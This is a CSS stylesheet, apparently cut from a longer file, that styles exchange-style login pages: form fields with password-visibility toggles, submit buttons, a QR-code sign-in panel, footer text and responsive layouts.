}

.cex-dx-biz__back {
  font-size: 13px;
  font-weight: 600;
  color: #666;
  text-decoration: none;
}

.cex-dx-biz__back:hover {
  color: #f15a48;
}

.cex-dx-biz__main {
  flex: 1;
  width: 100%;
  max-width: 1120px;
  margin: 0 auto;
  padding: 40px 20px 56px;
  box-sizing: border-box;
}

.cex-dx-biz__sheet {
  display: grid;
  grid-template-columns: 1fr auto 1fr;
  gap: 0;
  background: #fff;
  border: 1px solid #e6e6e6;
  border-radius: 4px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.04);
  overflow: hidden;
}

.cex-dx-biz__col {
  padding: 48px 44px 52px;
  min-width: 0;
}

.cex-dx-biz__divider {
  width: 1px;
  background: #eaeaea;
  align-self: stretch;
}

.cex-dx-biz__title {
  margin: 0 0 16px;
  font-size: 28px;
  font-weight: 800;
  letter-spacing: -0.03em;
  color: #222;
}

.cex-dx-biz__lead {
  margin: 0 0 28px;
  font-size: 14px;
  line-height: 1.55;
  color: #6a6a6a;
}

.cex-dx-biz__field {
  display: block;
  margin-bottom: 20px;
}

.cex-dx-biz__label {
  display: block;
  margin-bottom: 8px;
  font-size: 14px;
  font-weight: 700;
  color: #333;
}

.cex-dx-biz__input-wrap {
  position: relative;
  display: block;
}

.cex-dx-biz__input {
  width: 100%;
  box-sizing: border-box;
  padding: 14px 44px 14px 14px;
  font-size: 15px;
  color: #1a1a1a;
  background: #fff;
  border: 1px solid #d8d8d8;
  border-radius: 8px;
  outline: none;
}

.cex-dx-biz__input::placeholder {
  color: #b0b0b0;
}

.cex-dx-biz__input:focus {
  border-color: #f15a48;
  box-shadow: 0 0 0 2px rgba(241, 90, 72, 0.2);
}

.cex-dx-biz__eye {
  position: absolute;
  right: 10px;
  top: 50%;
  transform: translateY(-50%);
  padding: 6px;
  border: none;
  background: transparent;
  color: #888;
  cursor: pointer;
}

.cex-dx-biz__submit {
  width: 100%;
  margin-top: 8px;
  padding: 15px 16px;
  border: none;
  border-radius: 8px;
  font-size: 16px;
  font-weight: 700;
  color: #fff;
  background: #f15a48;
  cursor: pointer;
}

.cex-dx-biz__submit:hover:not(:disabled) {
  background: #e04a38;
}

.cex-dx-biz__submit--cert {
  background: #ffc7bc;
  color: #fff;
  cursor: not-allowed;
  opacity: 0.95;
}

.cex-dx-biz__links {
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  gap: 8px;
  margin-top: 16px;
  font-size: 13px;
}

.cex-dx-biz__links a {
  color: #555;
  text-decoration: none;
}

.cex-dx-biz__links a:hover {
  color: #f15a48;
  text-decoration: underline;
}

.cex-dx-biz__dot {
  color: #ccc;
}

.cex-dx-biz__url-note {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  margin-top: 24px;
  font-size: 13px;
  font-weight: 600;
  color: #2b8cff;
  text-decoration: none;
}

.cex-dx-biz__cert-hint {
  margin: 14px 0 0;
  font-size: 12px;
  color: #9a9a9a;
  line-height: 1.45;
}

.cex-dx-biz__foot {
  margin-top: 36px;
  text-align: center;
  font-size: 13px;
  color: #666;
  line-height: 1.55;
}

.cex-dx-biz__foot-title {
  margin: 0 0 6px;
  font-size: 15px;
  font-weight: 700;
  color: #333;
}

.cex-dx-biz__foot-text,
.cex-dx-biz__foot-contact,
.cex-dx-biz__foot-hours {
  margin: 0 0 4px;
}

@media (max-width: 900px) {
  .cex-dx-biz__sheet {
    grid-template-columns: 1fr;
  }

  .cex-dx-biz__divider {
    width: 100%;
    height: 1px;
  }

  .cex-dx-biz__col {
    padding: 32px 24px 36px;
  }

  .cex-dx-biz__title {
    font-size: 22px;
  }
}

.cex-shell__header {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 16px 24px;
  max-width: 1200px;
  width: 100%;
  margin: 0 auto;
  box-sizing: border-box;
}

.cex-shell__logo-text {
  font-weight: 700;
  color: var(--cex-text);
}

.cex-shell__nav {
  flex-shrink: 0;
}

.cex-shell__nav-link {
  color: var(--cex-muted);
  text-decoration: none;
  font-size: 14px;
  font-weight: 500;
}

.cex-shell__nav-link:hover {
  color: var(--cex-link);
}

.cex-shell__aside {
  flex: 1;
  display: none;
  max-width: 420px;
}

@media (min-width: 960px) {
  .cex-shell__aside {
    display: flex;
    align-items: center;
  }
}

.cex-shell__aside-inner {
  padding: 32px 0;
}

.cex-shell__aside-title {
  margin: 0 0 12px;
  font-size: 1.75rem;
  font-weight: 600;
  color: var(--cex-text);
  line-height: 1.25;
}

.cex-shell__aside-text {
  margin: 0 0 20px;
  font-size: 15px;
  line-height: 1.55;
  color: var(--cex-muted);
}

.cex-shell__aside-list {
  margin: 0 0 28px;
  padding: 0;
  list-style: none;
  font-size: 14px;
  color: var(--cex-muted);
}

.cex-shell__aside-list li {
  position: relative;
  padding-left: 22px;
  margin-bottom: 10px;
}

.cex-shell__aside-list li::before {
  content: "";
  position: absolute;
  left: 0;
  top: 7px;
  width: 8px;
  height: 8px;
  border-radius: 50%;
  background: var(--cex-accent, #f0b90b);
}

.cex-shell__qr {
  display: flex;
  flex-direction: column;
  align-items: flex-start;
  gap: 12px;
  padding: 20px;
  background: var(--cex-card);
  border: 1px solid var(--cex-card-border);
  border-radius: var(--cex-radius);
  max-width: 200px;
}

.cex-shell__qr span {
  font-size: 12px;
  color: var(--cex-muted);
  line-height: 1.35;
}

.cex-shell__main {
  flex: 1;
  display: flex;
  align-items: center;
  justify-content: center;
  max-width: 424px;
  width: 100%;
  margin: 0 auto;
}

.cex-shell__card {
  width: 100%;
  background: var(--cex-card);
  border: 1px solid var(--cex-card-border);
  border-radius: var(--cex-radius);
  padding: 32px 28px 28px;
  box-shadow: 0 4px 24px rgba(0, 0, 0, 0.08);
}

.cex-shell__title {
  margin: 0 0 24px;
  font-size: 32px;
  font-weight: 600;
  color: var(--cex-text);
  line-height: 1.2;
}

.cex-shell__form {
  display: flex;
  flex-direction: column;
  gap: 20px;
}

.cex-shell__field {
  display: flex;
  flex-direction: column;
  gap: 8px;
}

.cex-shell__label {
  font-size: 14px;
  font-weight: 500;
  color: var(--cex-text);
  text-align: left;
}

.cex-shell__muted {
  color: var(--cex-muted);
  font-weight: 400;
}

.cex-shell__input-wrap {
  position: relative;
  display: block;
}

.cex-shell__input {
  width: 100%;
  box-sizing: border-box;
  min-height: 48px;
  padding: 12px 14px;
  font-size: 16px;
  color: var(--cex-text);
  background: var(--cex-input);
  border: 1px solid var(--cex-input-border);
  border-radius: var(--cex-radius);
  outline: none;
  transition: border-color 0.15s ease, box-shadow 0.15s ease;
}

.cex-shell__input-wrap .cex-shell__input {
  padding-right: 44px;
}

.cex-shell__input::placeholder {
  color: var(--cex-muted);
  opacity: 0.75;
}

.cex-shell__input:hover {
  border-color: var(--cex-link);
}

.cex-shell__eye {
  position: absolute;
  right: 8px;
  top: 50%;
  transform: translateY(-50%);
  width: 36px;
  height: 36px;
  padding: 0;
  border: 0;
  background: transparent;
  color: var(--cex-muted);
  cursor: pointer;
  display: grid;
  place-items: center;
  border-radius: 4px;
}

.cex-shell__eye:hover {
  color: var(--cex-text);
  background: rgba(127, 127, 127, 0.12);
}

.cex-shell__row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 12px;
  margin-top: -8px;
  font-size: 14px;
}

.cex-shell__remember {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  color: var(--cex-text);
  cursor: pointer;
  user-select: none;
}

.cex-shell__remember input {
  width: 16px;
  height: 16px;
}

.cex-shell__link {
  text-decoration: none;
  font-weight: 500;
}

.cex-shell__link:hover {
  text-decoration: underline;
}

.cex-shell__submit {
  width: 100%;
  min-height: 48px;
  margin-top: 4px;
  border: 0;
  border-radius: var(--cex-radius);
  font-size: 16px;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.15s ease, opacity 0.15s ease, filter 0.15s ease;
}

.cex-shell__submit:active {
  opacity: 0.92;
}

.cex-shell__signup {
  margin: 24px 0 0;
  text-align: center;
  font-size: 14px;
  color: var(--cex-muted);
}

.cex-shell__footer {
  padding: 20px 24px 28px;
  text-align: center;
  font-size: 12px;
  color: var(--cex-footer);
}